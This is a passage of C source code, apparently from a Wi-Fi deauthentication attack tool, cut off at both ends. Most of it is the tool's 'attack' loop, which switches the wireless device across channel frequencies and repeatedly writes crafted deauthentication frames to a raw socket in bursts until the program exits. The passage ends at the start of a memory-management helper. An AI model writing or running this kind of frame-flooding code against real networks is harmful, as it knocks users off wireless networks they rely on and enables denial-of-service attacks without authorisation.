attack: for (i = 0; i < currentRun->found; ++i)
{
/* TODO: It's possible to speed up the attack loop by removing
/ checks and things to exclude if there are no exclusions
/ in the first place; thus, ignoring this next function. */
if (!commander(currentRun, i))
continue;
if (!currentRun->currentArgs->depreciatedMethods)
{
changeFrequency(currentRun->currentArgs->device,
currentRun->data[i].frequency);
}
else
{
depreciated_changeFrequency(currentRun->
currentArgs->device, currentRun->
data[i].frequency);
}
for (b = 0; b < currentRun->currentArgs->burstRate; ++b)
{
ret = write(rawSocket, currentRun->data[i].deauth,
currentRun->data[i].deauthLen);
if (ret < 0)
{
fprintf(stderr, "CRITICAL ERROR: Sending "
"frame failed - '%s' (%d).\n",
strerror(errno), errno);
return 0;
}
if (exiting) return 1;
}
}
if (!exiting) goto attack;
return 1;
}
/* This function manages the structure that contains the details for
/ the current scan and/or attack. I decided to allocate it all at once instead
/ of doing it more dynamically for the sake of speed at the cost of memory. */
void manageScanMemory(struct SCAN *scan, int allocate)
{
int i;
if (allocate)
{
scan->found = 0;